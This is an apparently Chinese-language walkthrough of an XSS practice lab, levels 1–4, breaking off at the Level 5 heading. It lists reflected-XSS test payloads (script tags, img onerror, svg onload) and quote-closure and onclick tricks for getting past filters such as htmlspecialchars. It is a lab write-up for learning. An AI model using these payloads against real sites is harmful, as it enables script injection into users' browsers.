xss-lab通关小计

实际构造闭合,另外要对js有一定了解
常用测试语句:

1
2
3
4
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

Level 1

https://xssaq.com/yx/level1.php?name=test
name参数未过滤,参数值直接显示在页面中。

1
?name=<script>alert(1)</script>

Level 2

闭合input标签,构造<input name="keyword" value=""><script>alert('xss')</script>//>

Level 3

value同2,但对部分特殊字符进行了转译,双引号被过滤了,后端使用了htmlspecialchars函数 <input name="keyword" value="&quot;><script>alert(" xss')&lt;="" script&gt;'="">

可以使用不带有尖括号的特殊字符进行尝试 如:’ onclick=’alert(1) (利用了HTML DOM 的onclick事件,点击后触发包含的命令)

Level 4

同3,也有过滤,双引号没被过滤,构造闭合" onclick="alert(1)

Level 5